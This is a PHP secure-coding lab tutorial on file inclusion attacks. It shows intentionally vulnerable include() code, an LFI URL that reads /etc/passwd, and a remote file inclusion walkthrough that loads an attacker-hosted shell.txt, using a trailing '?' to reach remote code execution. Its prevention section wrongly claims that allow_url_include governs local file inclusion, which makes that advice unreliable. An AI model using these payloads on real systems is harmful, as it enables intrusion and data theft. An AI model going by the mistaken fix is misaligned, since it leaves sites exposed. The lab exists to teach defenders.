Secure coding

PHP lab: File inclusion attacks

Srinivas
August 9, 2017 by
Srinivas

File inclusion is one of the popular yet old vulnerabilities that are often seen in websites.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

PHP websites that make use of include() function in an insecure way become vulnerable to file inclusion attacks.

Before going ahead with file inclusion vulnerabilities, let us understand, what include() function does.

A developer can include the content of one PHP file into another PHP file using include() function.

For example:

Let us say, there are two PHP files.

file1.php

<?php

echo "This is sample php file 1…";

?>

file2.php

<?php

echo "This is sample php file 2…";

?>

If the developer wants the contents of file2.php in file1.php, he can simply do that using include function as shown below.

<?php

include('file2.php');

echo "This is sample php file 1…";

?>

How can this be a problem to a website?

We just looked at the static way of how one can include the contents of a file into another file. It is also possible for a developer to include a file as user input and that is where the problem comes in. When the user input is not properly validated, an attacker can include some dangerous files that can be executed by the target server.

File inclusion vulnerabilities are further divided into two types.

1. Local File Inclusion (LFI)

2. Remote File Inclusion (RFI)

We will discuss these two types in a detailed manner in this lab.

Local file inclusion

Developers usually use the include functionality in two different ways.

1. Get the file as user input, insert it as is.

2. Get the file as user input, append an extension to it.

The vulnerable code for both local file inclusion as well as remote file inclusion remains the same. For that reason, let us use the first scenario for Local File Inclusion and second scenario for Remote File Inclusion.

The following excerpt shows the code for lfi.php

<?php

echo '<br/>';

echo 'Hello, Welcome to infosec news';

echo '<br/>';

echo '<br/>';

echo '<html>

<body>

<a href="index.php?page=news.php"><button>Show News</button></a>

</body>

</html>

';

echo '<br/>';

echo '<br/>';

include($_GET['page']);

echo '<br/>';

?>

Note: source code can be accessed from: http://192.168.56.101/webapps/fileinclusion/lfi/lfi.txt

Looking at the above code, we can clearly see that the application is receiving a file from the client using GET request method and including it directly into the current page.

We can access this URL from Kali Linux as shown below.

http://192.168.56.101/webapps/fileinclusion/lfi/

When we click "Show News" button on the above page, it loads the content of news.php into the current page. This is shown below.

How can someone abuse this functionality?

An attacker can remove news.php in the URL and place the following content to traverse to the upper directories to access the file system of the server.

/etc/passwd

Now, the new URL becomes as follows.

http://192.168.56.101/webapps/fileinclusion/lfi/index.php?page=/etc/passwd

The above URL can read the contents of /etc/passwd file as shown in the figure below.

This is also known as Path Traversal.

This is possible. Because once the above path is entered into the URL and given to the PHP code the code of the file lfi.php becomes vulnerable as shown in the following figure.

<?php

echo '<br/>';

echo 'Hello, Welcome to infosec news';

echo '<br/>';

echo '<br/>';

echo '<html>

<body>

<a href="index.php?page=news.php"><button>Show News</button></a>

</body>

</html>

';

echo '<br/>';

echo '<br/>';

include("/etc/passwd");

echo '<br/>';

?>

Hence it loads the contents of the file. Local File Inclusion vulnerabilities can become dangerous, since an attacker can traverse the file system of the server to read sensitive files.

Reading other non-standard files

Let us read the db.txt file, which is available at the following location.

/var/www/webapps/fileinclusion/db.txt

The following figure shows how it can be done.

../ is used to traverse one directory up and display the contents of db.txt.

Remote file inclusion

Now, let us use the second version of the code we discussed in the beginning.

The developer gets the file name from the client and adds the extension to it.

Below is the code for the file rfi.php.

<?php

echo '<br/>';

echo 'Hello, Welcome to infosec news';

echo '<br/>';

echo '<br/>';

echo '<html>

<body>

<a href="index.php?page=news"><button>Show News</button></a>

</body>

</html>

';

echo '<br/>';

echo '<br/>';

$page = $_GET['page'];

include($page. '.php');

echo '<br/>';

?>

Note: source Code can be accessed from: http://192.168.56.101/webapps/fileinclusion/rfi/rfi.txt

Looking at the above code, it is clear that the application is receiving the file and including it into the current page by appending ".php" extension to it.

We can access this page from Kali Linux using the URL shown below.

http://192.168.56.101/webapps/fileinclusion/rfi/

Clicking Show News button will include a file from the file system and display the contents of it. This is shown below.

 

How can someone abuse this functionality?

An attacker, who has identified that the application is reading the files from the user, can simply input his malicious file as explained below.

Actual URL: http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=news

An attacker can host a malicious text file on his own server.

http://192.168.56.103/shell.txt

To do this, let us create a file called shell.txt with the contents shown in the figure below.

Copy it to /var/www/html/ on your Kali Linux. The following command can be used assuming that shell.txt is in your root folder on Kali Linux.

cp shell.txt /var/www/html/

Now, start an Apache server on Kali Linux using the following command.

service apache2 start

An attacker will be able to execute the command "id" if the above code runs on the victim's server.

This can be done as shown below.

http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=http://192.168.56.103/shell.txt

Unfortunately, the URL above didn't show any output for "id" command. This is because the application is trying to load "shell.txt" to the vulnerable page first and then appending the extension ".php" and then requesting the following file from the attacker's server.

"shell.txt.php"

We can see it in the server logs as shown in the figure below.

Note: You can run the following command on Kali Linux machine to view the access logs.

tail –f /var/log/apache2/access.log

Obviously, this file "shell.txt.php" doesn't exist on the server and returning a 404-status code. This is why we did not get any output for "id" command.

How to avoid this?

We can get rid of this problem by adding a "?" at the end of the file as shown below.

http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=http://192.168.56.103/shell.txt?

So, the server will not consider PHP extension after the file when requested. The server will ignore anything that comes after "?" in the above URL.

So, we will be able to see the output of the command "id" upon executing the content of shell.txt as PHP code.

Remember that, we are only receiving the content of the text file.

The include function will execute that content as PHP code.

Similarly, we can replace "id" command with any command we like and achieve remote code execution.

Recommendations

Preventing file inclusion vulnerabilities

Preventing File Inclusion vulnerabilities at code level is as simple as validating the user input.

Apart from that, the value of "allow_url_include" should be "On" for Local File Inclusion to work.

So, the easiest way to prevent Local File inclusion vulnerabilities is to set the value of "allow_url_include" to "Off" in PHP configuration file as shown below.

However, an attacker can still include a file using URL schemes like http://, which lead to Remote File Inclusion.

To prevent it, we need to set the value of "allow_url_fopen" to "off" in the PHP configuration file as shown below.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Srinivas
Srinivas

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com